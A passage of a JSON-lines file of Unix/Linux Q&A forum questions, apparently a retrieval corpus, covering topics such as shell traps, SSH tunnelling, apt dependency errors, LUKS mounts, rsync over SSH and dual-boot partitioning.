directory"} {"_id": "149852", "title": "Why is my trap not printing any log message?", "text": "What I'm doing is, trap 'rm -f /path/of/file/fileName.running; echo \"TRAPPED & READY\";' 1 2 9 15 >> trap.log I didn't get anything in log & the file which should have been deleted still exists, I'm not sure of which signal could be stopping the script while it's running as I'm just killing the servers which are being used by the script. NB: My Cron-Scheduled job won't run if that file is present & I don't think I've missed any possible signal. where am I wrong?"} {"_id": "117401", "title": "text replacing in data file with peculiar spacing", "text": "I have a text (`.qdp`) file with many data stored. In some rows, the data are too many to be on just one line. Then, the program that saves the data, use a minus sign (`-`) to go on the new line, and continue the data writing, with two blank spaces at the beginning of the new line. How can I `find and replace` the minus plus the two blank spaces, in order to rewrite the data without any interruption? This is an example of what I have: 1 2 3 4 5 6 7- 8 9 10 And here what I want: 1 2 3 4 5 6 7 8 9 10"} {"_id": "117400", "title": "sending mail using telnet", "text": "I'm trying to send mail via the telnet command. I've looked at several tutorials online to use `telnet 25`. But I've tried `telnet mail.aol.com 25` and it gets stuck on `trying ....` Is there something wrong with my command?"} {"_id": "117402", "title": "debian: remove all packages installed on a specific day", "text": "I have to remove all packages installed on a specific day. My solution is to look up the file `/var/log/dpkg.log`, find out the entry with the right date, extract the names of the packages and remove them. Can I be sure sure that, in this way, I will find all desired packages? Is there another way to do it, in a more secure/formal way?"} {"_id": "117405", "title": "Creating a linux user with limited privileges for ssh tunnelling", "text": "I am following this post to create ssh tunnel to mysql. The details description of my application scenario is given in my other SOQ. I exactly followed these steps to create a user: useradd -s /bin/false myuser mkdir /home/myuser/.ssh touch /home/myuser/.ssh/authorized_keys chown -R myuser:myuser /home/myuser/.ssh chmod 755 /home/myuser/.ssh chmod 600 /home/myuser/.ssh/authorized_keys It did not work for me. Not even able to ssh into remote server. Given the post very old I am looking for sane way to create a limited privileges user which only connect to mysql and nothing else. I am testing this under ubuntu. The other issue with this is to test the ssh connection from my system. So how I will create authorization keys for a system ( my local machine) which does not have a static IP. However the network in which I am working have a static IP. Is it possible to create authorization keys for that IP ? **Edit** Re-tested with two vagrant ubuntu instances, it works using ubuntu user with password , but unable to connect with `myuser` and `rsa key` as created in given article. **SSH KEY** ssh-keygen -t rsa Generating public/private rsa key pair. Enter file in which to save the key (/home/vagrant/.ssh/id_rsa): /home/vagrant/.ssh/id_rsa already exists. Overwrite (y/n)? y Enter passphrase (empty for no passphrase): Enter same passphrase again: Your identification has been saved in /home/vagrant/.ssh/id_rsa. Your public key has been saved in /home/vagrant/.ssh/id_rsa.pub. **Upload to server** scp /home/vagrant/.ssh/id_rsa.pub vagrant@192.168.33.55:. vagrant@192.168.33.55's password: id_rsa.pub 100% **Append RSA key to ghost user ssh keys** ubuntu@DEV:~ cat id_rsa.pub >> /home/ghost/.ssh/authorized_keys **SSH LOG** vagrant@precise64:~$ ssh -fNg -vvv -L 3307:127.0.0.1:3306 ghost@192.168.33.55 OpenSSH_5.9p1 Debian-5ubuntu1, OpenSSL 1.0.1 14 Mar 2012 debug1: Reading configuration data /etc/ssh/ssh_config debug1: /etc/ssh/ssh_config line 19: Applying options for * debug2: ssh_connect: needpriv 0 debug1: Connecting to 192.168.33.55 [192.168.33.55] port 22. debug1: Connection established. debug3: Incorrect RSA1 identifier debug3: Could not load \"/home/vagrant/.ssh/id_rsa\" as a RSA1 public key debug1: identity file /home/vagrant/.ssh/id_rsa type 1 debug1: Checking blacklist file /usr/share/ssh/blacklist.RSA-2048 debug1: Checking blacklist file /etc/ssh/blacklist.RSA-2048 debug1: identity file /home/vagrant/.ssh/id_rsa-cert type -1 debug1: identity file /home/vagrant/.ssh/id_dsa type -1 debug1: identity file /home/vagrant/.ssh/id_dsa-cert type -1 debug1: identity file /home/vagrant/.ssh/id_ecdsa type -1 debug1: identity file /home/vagrant/.ssh/id_ecdsa-cert type -1 debug1: Remote protocol version 2.0, remote software version OpenSSH_5.9p1 Debian-5ubuntu1 debug1: match: OpenSSH_5.9p1 Debian-5ubuntu1 pat OpenSSH* debug1: Enabling compatibility mode for protocol 2.0 debug1: Local version string SSH-2.0-OpenSSH_5.9p1 Debian-5ubuntu1 debug2: fd 3 setting O_NONBLOCK debug3: load_hostkeys: loading entries for host \"192.168.33.55\" from file \"/home/vagrant/.ssh/known_hosts\" debug3: load_hostkeys: found key type ECDSA in file /home/vagrant/.ssh/known_hosts:1 debug3: load_hostkeys: loaded 1 keys debug3: order_hostkeyalgs: prefer hostkeyalgs: ecdsa-sha2-nistp256-cert-v01@openssh.com,ecdsa-sha2-nistp384-cert-v01@openssh.com,ecdsa-sha2-nistp521-cert-v01@openssh.com,ecdsa-sha2-nistp256,ecdsa-sha2-nistp384,ecdsa-sha2-nistp521 debug1: SSH2_MSG_KEXINIT sent debug1: SSH2_MSG_KEXINIT received debug2: kex_parse_kexinit: ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1 debug2: kex_parse_kexinit: ecdsa-sha2-nistp256-cert-v01@openssh.com,ecdsa-sha2-nistp384-cert-v01@openssh.com,ecdsa-sha2-nistp521-cert-v01@openssh.com,ecdsa-sha2-nistp256,ecdsa-sha2-nistp384,ecdsa-sha2-nistp521,ssh-rsa-cert-v01@openssh.com,ssh-dss-cert-v01@openssh.com,ssh-rsa-cert-v00@openssh.com,ssh-dss-cert-v00@openssh.com,ssh-rsa,ssh-dss debug2: kex_parse_kexinit: aes128-ctr,aes192-ctr,aes256-ctr,arcfour256,arcfour128,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,aes192-cbc,aes256-cbc,arcfour,rijndael-cbc@lysator.liu.se debug2: kex_parse_kexinit: aes128-ctr,aes192-ctr,aes256-ctr,arcfour256,arcfour128,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,aes192-cbc,aes256-cbc,arcfour,rijndael-cbc@lysator.liu.se debug2: kex_parse_kexinit: hmac-md5,hmac-sha1,umac-64@openssh.com,hmac-sha2-256,hmac-sha2-256-96,hmac-sha2-512,hmac-sha2-512-96,hmac-ripemd160,hmac-ripemd160@openssh.com,hmac-sha1-96,hmac-md5-96 debug2: kex_parse_kexinit: hmac-md5,hmac-sha1,umac-64@openssh.com,hmac-sha2-256,hmac-sha2-256-96,hmac-sha2-512,hmac-sha2-512-96,hmac-ripemd160,hmac-ripemd160@openssh.com,hmac-sha1-96,hmac-md5-96 debug2: kex_parse_kexinit: none,zlib@openssh.com,zlib debug2: kex_parse_kexinit: none,zlib@openssh.com,zlib debug2: kex_parse_kexinit: debug2: kex_parse_kexinit: debug2: kex_parse_kexinit: first_kex_follows 0 debug2: kex_parse_kexinit: reserved 0 debug2: kex_parse_kexinit: ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1 debug2: kex_parse_kexinit: ssh-rsa,ssh-dss,ecdsa-sha2-nistp256 debug2: kex_parse_kexinit: aes128-ctr,aes192-ctr,aes256-ctr,arcfour256,arcfour128,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,aes192-cbc,aes256-cbc,arcfour,rijndael-cbc@lysator.liu.se debug2: kex_parse_kexinit: aes128-ctr,aes192-ctr,aes256-ctr,arcfour256,arcfour128,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,aes192-cbc,aes256-cbc,arcfour,rijndael-cbc@lysator.liu.se debug2: kex_parse_kexinit: hmac-md5,hmac-sha1,umac-64@openssh.com,hmac-sha2-256,hmac-sha2-256-96,hmac-sha2-512,hmac-sha2-512-96,hmac-ripemd160,hmac-ripemd160@openssh.com,hmac-sha1-96,hmac-md5-96 debug2: kex_parse_kexinit: hmac-md5,hmac-sha1,umac-64@openssh.com,hmac-sha2-256,hmac-sha2-256-96,hmac-sha2-512,hmac-sha2-512-96,hmac-ripemd160,hmac-ripemd160@openssh.com,hmac-sha1-96,hmac-md5-96 debug2: kex_parse_kexinit: none,zlib@openssh.com debug2: kex_parse_kexinit: none,zlib@openssh.com debug2: kex_parse_kexinit: debug2: kex_parse_kexinit: debug2: kex_parse_kexinit: first_kex_follows 0 debug2: kex_parse_kexinit: reserved 0 debug2: mac_setup: found hmac-md5 debug1: kex: server->client aes128-ctr hmac-md5 none debug2: mac_setup: found hmac-md5 debug1: kex: client->server aes128-ctr hmac-md5 none debug1: sending SSH2_MSG_KEX_ECDH_INIT debug1: expecting SSH2_MSG_KEX_ECDH_REPLY debug1: Server host key: ECDSA 11:5d:55:29:8a:77:d8:08:b4:00:9b:a3:61:93:fe:e5 debug3: load_hostkeys: loading entries for host \"192.168.33.55\" from file \"/home/vagrant/.ssh/known_hosts\" debug3: load_hostkeys: found key type ECDSA in file /home/vagrant/.ssh/known_hosts:1 debug3: load_hostkeys: loaded 1 keys debug1: Host '192.168.33.55' is known and matches the ECDSA host key. debug1: Found key in /home/vagrant/.ssh/known_hosts:1 debug1: ssh_ecdsa_verify: signature correct debug2: kex_derive_keys debug2: set_newkeys: mode 1 debug1: SSH2_MSG_NEWKEYS sent debug1: expecting SSH2_MSG_NEWKEYS debug2: set_newkeys: mode 0 debug1: SSH2_MSG_NEWKEYS received debug1: Roaming not allowed by server debug1: SSH2_MSG_SERVICE_REQUEST sent debug2: service_accept: ssh-userauth debug1: SSH2_MSG_SERVICE_ACCEPT received debug2: key: /home/vagrant/.ssh/id_rsa (0x7f446fe9ada0) debug2: key: /home/vagrant/.ssh/id_dsa ((nil)) debug2: key: /home/vagrant/.ssh/id_ecdsa ((nil)) debug1: Authentications that can continue: publickey,password debug3: start over, passed a different list publickey,password debug3: preferred gssapi-keyex,gssapi-with-mic,publickey,keyboard-interactive,password debug3: authmethod_lookup publickey debug3: remaining preferred: keyboard-interactive,password debug3: authmethod_is_enabled publickey debug1: Next authentication method: publickey debug1: Offering RSA public key: /home/vagrant/.ssh/id_rsa debug3: send_pubkey_test debug2: we sent a publickey packet, wait for reply debug1: Authentications that can continue: publickey,password debug1: Trying private key: /home/vagrant/.ssh/id_dsa debug3: no such identity: /home/vagrant/.ssh/id_dsa debug1: Trying private key: /home/vagrant/.ssh/id_ecdsa debug3: no such identity: /home/vagrant/.ssh/id_ecdsa debug2: we did not send a packet, disable method debug3: authmethod_lookup password debug3: remaining preferred: ,password debug3: authmethod_is_enabled password debug1: Next authentication method: password ghost@192.168.33.55's password: **192.168.33.55 /etc/ssh/sshd_config** RSAAuthentication yes PubkeyAuthentication yes #AuthorizedKeysFile %h/.ssh/authorized_keys **192.168.33.55 SSHD LOGS** tail /var/log/auth.log -n 100 Feb 28 10:15:42 precise64 sudo: pam_unix(sudo:session): session closed for user root Feb 28 10:15:53 precise64 sshd[2154]: Failed password for ghost from 192.168.33.31 port 52350 ssh2 Feb 28 10:15:53 precise64 sshd[2154]: Failed password for ghost from 192.168.33.31 port 52350 ssh2 Feb 28 10:15:53 precise64 sshd[2154]: Connection closed by 192.168.33.31 [preauth] Feb 28 10:17:01 precise64 CRON[2157]: pam_unix(cron:session): session opened for user root by (uid=0) Feb 28 10:17:01 precise64 CRON[2157]: pam_unix(cron:session): session closed for user root"} {"_id": "117404", "title": "Using grep to find first two numbers of IP addresses?", "text": "I'm trying to figure out how to use grep to pull out only the first two numbers of an IP address in a list. I've got a routine that is isolating the log entires (from Exim) that I need, now I just need to determine what the first two IP address numbers are. I've tried this: unique_ips2=$(grep \"$email\" tmp_exim|grep -oE \"[0-9]{1,3}\\.[0-9]{1,3}\"|sort -u) But instead of just getting the first two numbers in a 4 IP set, this is giving me 8 pairs of numbers, i.e the first two and the last two of each IP. The original statement uses `sed` to pull out the complete IPs, like so: unique_ips=$(grep \"$email\" tmp_exim|sed 's/.*[[]\\([0-9\\.]*\\)[]].*/\\1/'|sort -u|wc -l) But I don't have any familiarity with `sed` at all, and have no idea how to modify this statement as every attempt has only caused errors."} {"_id": "25611", "title": "how to find out the ip of an ssh HostName", "text": "Is there a simple way to retrieve the IP of a `HostName` from an ssh config on the command line? Many times I have to use `scp` and would like to connect to a machine, but I remember only the HostName."} {"_id": "25613", "title": "Is there more, less, or equal overhead for elisp, as for a bash script, to call awk, ps, etc?", "text": "Hopefully the question explains itself well enough. I'm referring to exta time and system resources involved for one vs. the other... I tend to think it would be the same, but I want to go beyond just think. Do the both make the same system calls?"} {"_id": "25612", "title": "Wireless indicator light flashing for activity on laptop keyboard", "text": "Here's wireless: $ lspci | grep -i wireless 0d:00.0 Network controller: Intel Corporation Centrino Wireless-N 1000 OS is Linux Mint 12, using gnome2/compiz. I've got HP Pavilion dv7 899AW, sandybridge 915 chipset The problem is that the orange/blue light for the wireless won't stop flashing. Probably flashing due to activity. I tried this fix, but it didn't work: http://ubuntuforums.org/showthread.php?t=1699037&page=3 Also, the mute light stays permanently orange. Thanks."} {"_id": "60838", "title": "Saving a email as file in mutt?", "text": "When I press `S` in mutt, it saves the mail to a mail folder format (`cur/ tmp/ new/`), but I want a single file to be saved, just like how the attachment is saved, is that configurable?"} {"_id": "25616", "title": "cron every X exact meaning", "text": "In cron you can specify */n where n means every n times period, for instance in the first column is minute. */5 means every 5 minutes, but which minutes? 0, 5, 10, ...? What happens if the number specified is not a divisor of 60? */7 what will happen, will it start to skew in the next hour?"} {"_id": "25619", "title": "Is it possible (and a good idea) to do `pw lock root` on FreeBSD?", "text": "I have set up `sudo` on my FreeBSD server. As I now never want to log in as root anymore, I was wondering whether I should do `sudo pw lock root`. My questions are: * Is this possible, without forever disabling my machine? * Is it a smart idea, or is there a good reason to not do this? * Will I still be able to do `sudo su` to get a root shell?"} {"_id": "25618", "title": "Labeling/Aliasing multiple network addresses", "text": "If my machine is connected to several networks and configured with multiple addresses (ipv4), is it wise to configure and use labels to identify them ? By labels I mean the iproute2 ip command's \"label\" tag: ip address add 192.168.0.1 dev eth0 label eth0:local I want to be able to identify the address and change it using a script when needed. I'm asking because the man page refers to Linux-2.0 net aliases compatibility which sounds deprecated. Also, I might be missing a better solution."} {"_id": "26491", "title": "Deny external SSH access to a user", "text": "Is it possible to deny access to a user (in my case `www-data`) from outside the network? Or possibly deny this: ssh www-data@example.com But allow this if already logged in: su www-data"} {"_id": "60832", "title": "Small Linux distro with Ruby", "text": "I have been using Puppy Linux for basic Linux needs, however now I would prefer one that has Ruby included, so that it does not have to be downloaded. I would prefer a small distro that can run from a CD, smaller size preferred to decrease boot time. What would be a good choice for this?"} {"_id": "143858", "title": "sudo source: command not found", "text": "I want to run this program as root. It activates a virtual environment and runs a python program in that virtual environment. The program looks like this $cat myfile.sh source /pathto/venv/bin/activate python /pathto/rsseater.py If I just run it as root I get $ sudo ./myfile.sh ./myfile.sh: 2: ./myfile.sh: source: not found I found this but if I try to add `sudo -s` to the top of the file it seems to change the prompt to a # -- but the python does not run as expected. I'm not sure what the program is doing when I have sudo -s at the top of the file like that. How can I get this program to run as root?"} {"_id": "26494", "title": "Can't install lsb-core on Ubuntu Server 11.10", "text": "I'm attempting to install lsb-core on an Ubuntu server. Did `apt-get update` then did `apt-get install lsb-core` root@quackwall:~# apt-get install lsb-core Reading package lists... Done Building dependency tree Reading state information... Done You might want to run 'apt-get -f install' to correct these: The following packages have unmet dependencies: lsb-core : Depends: lsb-invalid-mta but it is not going to be installed or mail-transport-agent Depends: binutils but it is not going to be installed Depends: libc6-dev but it is not going to be installed or libc-dev Depends: cups-bsd but it is not going to be installed or lpr Depends: lprng or cups-client but it is not going to be installed Depends: m4 but it is not going to be installed Depends: mailx or mailutils but it is not going to be installed Depends: make but it is not going to be installed Depends: ncurses-term but it is not going to be installed Depends: pax but it is not going to be installed Depends: alien (>= 8.36) but it is not going to be installed E: Unmet dependencies. Try 'apt-get -f install' with no packages (or specify a solution). So apparently Ubuntu doesn't feel like installing `lsb-core`. The one thing I can find on Google says that there mirror was out of date. However I can't find whats wrong with my sources.list. Below is a copy of it # deb cdrom:[Ubuntu-Server 11.10 _Oneiric Ocelot_ - Release i386 (20111011)]/ oneiric main restricted #deb cdrom:[Ubuntu-Server 11.10 _Oneiric Ocelot_ - Release i386 (20111011)]/ oneiric main restricted # See http://help.ubuntu.com/community/UpgradeNotes for how to upgrade to # newer versions of the distribution. deb http://us.archive.ubuntu.com/ubuntu/ oneiric main restricted deb-src http://us.archive.ubuntu.com/ubuntu/ oneiric main restricted ## Major bug fix updates produced after the final release of the ## distribution. deb http://us.archive.ubuntu.com/ubuntu/ oneiric-updates main restricted deb-src http://us.archive.ubuntu.com/ubuntu/ oneiric-updates main restricted ## N.B. software from this repository is ENTIRELY UNSUPPORTED by the Ubuntu ## team. Also, please note that software in universe WILL NOT receive any ## review or updates from the Ubuntu security team. deb http://us.archive.ubuntu.com/ubuntu/ oneiric universe deb-src http://us.archive.ubuntu.com/ubuntu/ oneiric universe deb http://us.archive.ubuntu.com/ubuntu/ oneiric-updates universe deb-src http://us.archive.ubuntu.com/ubuntu/ oneiric-updates universe ## N.B. software from this repository is ENTIRELY UNSUPPORTED by the Ubuntu ## team, and may not be under a free licence. Please satisfy yourself as to ## your rights to use the software. Also, please note that software in ## multiverse WILL NOT receive any review or updates from the Ubuntu ## security team. deb http://us.archive.ubuntu.com/ubuntu/ oneiric multiverse deb-src http://us.archive.ubuntu.com/ubuntu/ oneiric multiverse deb http://us.archive.ubuntu.com/ubuntu/ oneiric-updates multiverse deb-src http://us.archive.ubuntu.com/ubuntu/ oneiric-updates multiverse ## N.B. software from this repository may not have been tested as ## extensively as that contained in the main release, although it includes ## newer versions of some applications which may provide useful features. ## Also, please note that software in backports WILL NOT receive any review ## or updates from the Ubuntu security team. deb http://us.archive.ubuntu.com/ubuntu/ oneiric-backports main restricted universe multiverse deb-src http://us.archive.ubuntu.com/ubuntu/ oneiric-backports main restricted universe multiverse deb http://security.ubuntu.com/ubuntu oneiric-security main restricted deb-src http://security.ubuntu.com/ubuntu oneiric-security main restricted deb http://security.ubuntu.com/ubuntu oneiric-security universe deb-src http://security.ubuntu.com/ubuntu oneiric-security universe deb http://security.ubuntu.com/ubuntu oneiric-security multiverse deb-src http://security.ubuntu.com/ubuntu oneiric-security multiverse ## Uncomment the following two lines to add software from Canonical's ## 'partner' repository. ## This software is not part of Ubuntu, but is offered by Canonical and the ## respective vendors as a service to Ubuntu users. # deb http://archive.canonical.com/ubuntu oneiric partner # deb-src http://archive.canonical.com/ubuntu oneiric partner ## Uncomment the following two lines to add software from Ubuntu's ## 'extras' repository. ## This software is not part of Ubuntu, but is offered by third-party ## developers who want to ship their latest software. # deb http://extras.ubuntu.com/ubuntu oneiric main # deb-src http://extras.ubuntu.com/ubuntu oneiric main ################### # MODS ################### # Webmin deb http://download.webmin.com/download/repository sarge contrib deb http://webmin.mirror.somersettechsolutions.co.uk/repository sarge contrib Now I'm not entirely sure if that's good or not, but I know that I can run basic updates just fine. And since I'm using the US mirror, it shouldn't be out of date Any idea's on what's wrong?"} {"_id": "106977", "title": "How to securely download rpmfusion keys", "text": "**The Actual Problem I am trying to solve** I am trying to automatically configure my fedora installations via salt to automatically have the rpmfusion repositories installed. In order to do this securely I need the gpg key so that packages can be verified before they are installed. However, I am unable to find a way to securely download rpmfusion's keys. For example, if I was making a google chrome repo I would have something like this. [google-chrome] name=google-chrome baseurl=http://dl.google.com/linux/chrome/rpm/stable/x86_64 enabled=1 gpgcheck=1 gpgkey=https://dl-ssl.google.com/linux/linux_signing_key.pub However, for rpmfusion the closest thing I have is the following (Note this is untested): [rpmfusion-nonfree] name=RPM Fusion for Fedora $releasever - Nonfree mirrorlist=http://mirrors.rpmfusion.org/mirrorlist?repo=nonfree-fedora-$releasever&arch=$basearch enabled=1 metadata_expire=7d gpgcheck=1 gpgkey=http://rpmfusion.org/keys?action=AttachFile&do=get&target=RPM-GPG-KEY-rpmfusion-nonfree-fedora-$releasever However, note that I am download via an unencrypted channel (http instead of https). So my question is the following: Is there a way for me to securely download rpmfusion's public key?"} {"_id": "106976", "title": "is it possible to determine installed packages on a secondary mounted drive?", "text": "I'm \"upgrading\" to a new distro (from Linux Mint 15 -> 16) by performing a fresh installation to a new drive, and referencing my original drive as needed. I've currently booted to my new installation (Linux Mint 16), and I've mounted my original drive (Linux Mint 15), so I can access all the raw data just fine. It'd be convenient if I could see the packages that I had installed previously without the (admittedly minor) hassle of swapping my cables and rebooting back and forth. Basically I'm looking for an alternative to `dpkg --get-selections` (or `apt` equivalents, etc) that I can use on a non-running drive, such as a raw file location where this info may be stored. _(Edit: By \"non-running\" I mean that it is attached and running, but was not booted, and is mounted on`/mnt/old` or some such.)_ Is this a Thing That Can Be Done?"} {"_id": "153680", "title": "RHEL Error message mounting luks crypted filesystem at boot", "text": "I am configuring a luks crypted file system to be mounted at boot time using RHEL 6.5 I did all the configuration from command line and tt worked but printed an error message after asking for password /crypted is password protected:********* modprobe: FATAL: Error inserting padlock_sha (/lib/modules/2.6.32-431.el6.x86_64/kernel/drivers/crypto/padlock-sha.ko): No such device I did some research and found some old RedHat ticket regarding this, one of the ticket says this is because that module is only for Via chips. If I configured encrypted file system via anaconda and there is no such error message so I believe there is something I missed or did not do right. Any idea ? here is what I did echo \"modprobe dm_crypt\" > /etc/sysconfig/modules/load_dm_crypt.modules cryptsetup luksFormat /dev/vg01/lv_crypt cryptsetup luksUUID /dev/vg01/lv_crypt cryptsetup luksOpen /dev/vg01/lv_crypt lv_crypt mkfs -t ext4 /dev/mapper/lv_crypt cat /etc/crypttab [root@server ~]# cat /etc/crypttab lv_crypt UUID=5fd651df-f946-40ab-a07b-47cd63207f3f none [root@server ~]# cat /etc/fstab | grep lv_crypt /dev/mapper/lv_crypt /crypted ext4 defaults 1 2"} {"_id": "105385", "title": "Dual boot Linux Mint in a GPT style hard drive along with Windows 8", "text": "I have a Sony VAIO e series laptop which came with Windows 8. I wish to install Linux Mint as additional operating system. Only at the time of installation I could find that my HDD is of GPT partition style and my bios was also set in UEFI mode. After setting the bios to legacy mode the HDD became unbootable giving a error that \"operating system not found\" every time I try to turn on my laptop. Since MBR style HDD is required for legacy mode and booting multiple operating systems, I tried many software which converts GPT to MBR HDD but there was no use in it. How can I install Linux Mint while keeping the Windows 8 untouched? Note: my motherboard can be set to UEFI and legacy boot mode. I want to boot both Windows 8 and Linux. It will be good if you suggest me a solution without formatting my HDD."} {"_id": "105387", "title": "Why is /dev full?", "text": "The /dev.. is full: SERVER:/dev # df -mP /dev Filesystem 1048576-blocks Used Available Capacity Mounted on udev 12042 12042 0 100% /dev There is no files that consume space! SERVER:/dev # find . -ls | sort -r | head -2 2790517 0 -rw-r--r-- 1 root root 0 Dec 16 10:04 ./devnull 1490005831 0 -rw------- 1 root root 0 Dec 16 07:54 ./nul 120387 0 lrwxrwxrwx 1 root root 12 Dec 03 05:42 ./disk/by-uuid/xx..foo..xx -> ../../dm-13 SERVER:/dev # du -sm * 2>/dev/null | sort -nr | head -4 1 shm 0 zero 0 xconsole 0 watchdog swap is used heavily: SERVER:/dev # free -m total used free shared buffers cached Mem: 24083 23959 124 0 327 21175 -/+ buffers/cache: 2455 21627 Swap: 10245 10245 0 deleted but still used files (?): SERVER:/dev # lsof /dev | grep deleted su 4510 bar 14u REG 0,14 6269616128 2689827477 /dev/shm/kdfoo.a4o (deleted) grep 4512 root 1u REG 0,14 6269616128 2689827477 /dev/shm/kdfoo.a4o (deleted) bash 4517 bar 14u REG 0,14 6269616128 2689827477 /dev/shm/kdfoo.a4o (deleted) sh 4606 bar 14u REG 0,14 6269616128 2689827477 /dev/shm/kdfoo.a4o (deleted) ksh 24134 root 1u REG 0,14 6329864192 2685851781 /dev/shm/foo5.44m (deleted) ksh 29209 root 1u REG 0,14 6269616128 2689827477 /dev/shm/kdfoo.a4o (deleted) su 29571 bar 14u REG 0,14 6329864192 2685851781 /dev/shm/foo5.44m (deleted) grep 29573 root 1u REG 0,14 6329864192 2685851781 /dev/shm/foo5.44m (deleted) bash 29578 bar 14u REG 0,14 6329864192 2685851781 /dev/shm/foo5.44m (deleted) sh 29694 bar 14u REG 0,14 6329864192 2685851781 /dev/shm/foo5.44m (deleted) SERVER:/dev # **My question** : what is using up all the 12 GByte space of \"udev on /dev type tmpfs (rw)\"?"} {"_id": "93022", "title": "How to create a short path?", "text": "We have so many useful folders, which are in different path, for our working in Linux. For example : 1. `$ cd ~/Documents/Courses/EDX/physics2013/` 2. `$ cd ~/Documents/Company/OpenGL/Proj/...` 3. `$ cd ~/Documents/Freelance/Android/Proj/...` .... How to create some short paths which can be used like 1. `$ cd edxPhy2013` 2. `$ cd cglProj-v-2.13` 3. `$ cd flAndrProj-v-1.1`"} {"_id": "75445", "title": "Nested filtering in rsyslogd", "text": "I'm using rsyslogd and trying to figure out why things like if $hostname startswith 'd.42ba7373' and $programname == 'app' then /var/log/bla2app work just fine, but if $hostname startswith 'd.42ba7373' and $programname == 'heroku' then { action(type='omfile' file='/var/log/bla2heroku') } gives an error `unknown priority name`. Ideas? Using version 5.8.6 on EC2 ubuntu instance."} {"_id": "105388", "title": "using GPS with Linux & output only certain data", "text": "Hello I am currently using BU-353 S4 USB GPS in my Linux, the command, cgps -s Output various parameters including, Time, Latitutde, Longitute, Speed, Heading etc... is there any way to output only Longitude and Latitude instead of the complete details ? I have gone through all the available arguments of `cgps` command and as far as I can tell, this command only output the complete table."} {"_id": "75447", "title": "ssh/scp works but rsync just constantly says \"no\"", "text": "Hi I have a windows 2003 server that I need to back up onto a `linux` client so I install `cygwin` on the `Win2k3`. On the `Win2k3` I have enabled `ssh`, `scp` but (because the `Win2k3` server uses an customised windows SFTP server listening on port 22) I had to set `scp` / `ssh` to run on `port 222` on cygwin. It works fine. As long as I use ssh/scp and use the -p/-P switch at command line. I established a `SSH Public/Private Key Pair` for my user over ssh/scp it works lovely from `linux client` to `Win2k3 server`. I then I start the rsyncd on Win2k3 and add the user in the `/etc/rsyncd.conf`, created the `/etc/rsyncd.secrets` and assigned privilages and it seems fine. Then when I try to rsync connect /not/ over ssh it works but I want to /only/ connect via ssh and when I do that it fails every time with 0 bytes. I have tried multiple users and rewritten the rsyncd.conf a million times but it constantly fails. I am beginning to think I need to tell rsync client that the ssh port is 222 from the clients perspective. If so how do I do it?"} {"_id": "75446", "title": "Preventing output to /var/log/syslog", "text": "I have rules such as: if $hostname startswith 'd.42ba7373' and $programname == 'app' then /var/log/applog and don't want to output messages that go into that log to /var/log/syslog as well. Is that possible?"} {"_id": "26147", "title": "Open GNOME session remotely through SSH", "text": "I have a laptop connected wirelessly to my home network. I'm planning on installing a CentOS server on my network, used for a web server, a file server, and experimentation. I want to access it from my laptop in the form of a dual-boot - one main operating system, and one that's just a very simple system that automatically starts a remote connection to the server and opens up a GNOME session on the server that is then displayed on my computer. I'm thinking about using Arch Linux as the OS which will connect to the server, since I've been meaning to try it for a while and it seems rather configurable. My questions are the following : 1. How can I start a GNOME session on my laptop which controls the other computer (no ssh -X tunneling or VNC remote control; I want my computer to be a \"dumb terminal\" to the server)? 2. Will speed be an issue over wireless? Would SSH compression help? 3. Is Arch Linux indeed the best option for the terminal OS?"} {"_id": "106970", "title": "Fedora 20 and windows 7 can't create partions", "text": "I have installed Windows 7 SP1 in my laptop. I have 4 partitions: 1. System reserved (Primary partition): 100mb 2. C (Primary partition): 70GB 3. D (Logical partition): 150GB 4. E (Logical partition): 175GB I have 2 primary and one extended partition with 2 logical partitions. When I tried to install Fedora 20 automatic partition failed. And when I try to manually create partitions, I am only able to create one partition. When I try to create second partition it says \"not enough space\". I think it's the problem of partition table, since Windows only allows 3 primary partitions. But I have only 2 primary partitions, so it shouldn't be a problem. Any idea what\u2019s happened?"} {"_id": "153687", "title": "How to download & install \u201cheidisql\u201d on linux?", "text": "First time I am starting working on \"heidisql\". I want to download & install \"heidisql\" on Linux Mint. May anybody please provide me the link to download \"heidisql\" for Linux version & how to install? Actually after googling I am not getting proper result."} {"_id": "139838", "title": "How do I set the keyboard layout to something like us qwerty in Manjaro Linux?", "text": "After a fresh installation of _Manjaro Linux_ and selecting _2 languages_ for the system, I can't access the us english layout anymore! I have selected the `Alt` + `Shift` in order to change layout but it doesn't work. I can't login, I have rebooted and the problem persists. How do I set the default us layout?"} {"_id": "139830", "title": "nuke all Google Chrome processes", "text": "I like Chrome and such, I don't really want to switch back to Firefox or anything else. My issue is that occasionally it really feels like the whole process needs a restart. I've noticed that if I just close it and close its little bubble in the top-right, processes (`ps -A`) stick around. Is there a quick/easy way I could just create a button that says \"nuke chrome\" and kill all processes related to it with one click? I think it would be helpful. Using Xubuntu 14.04 and no longer stuck on it, so it's even alright with me if you're like: > \"Try this other distro that won't have those sorts of issues.\" Yes, it probably is one of these many buggy extensions I've installed. But I'd like to use this same method with other applications as well."} {"_id": "91638", "title": "Restoring output to the terminal after having issued \"exec &>filename\"", "text": "I am trying to execute the following: exec &>filename After this I am not able to see anything including what I typed, alright. I frantically try , `exec 1>&1` and `exec 2>&2` , but nothing happens. Now , without killing the shell , how do I get back the output redirected to the stdout and error redirected to stderr respectively? Are the file descriptors the only way to refer standard [in|out]put and stderr?"} {"_id": "79827", "title": "Make VIM act as Notepad++ on mixed line endings", "text": "I've googled all around and found tons of weird solutions to ^M problem, but couldn't find one and simple: how could I just open any file, like in Notepad++ and work on it? I don't want to mess with LF and CR stuff, anyway git will correct it on push. Is there a \"stupid\" solution for this issue? One little thing, I'm forced to work in the World Evil OS right now, so the solution should work for it."} {"_id": "79826", "title": "Empathy integration with Gnome3 failed", "text": "I've migrated recently to the new Debian stable, by installing the new system but saving all my data in the `/home` partition. I do this because I don't want the data to be lost between installations, besides, it also saves the configuration of all my applications like Icewaesel bookmarks, Icedove mail accounts. However, I think my old configuration is 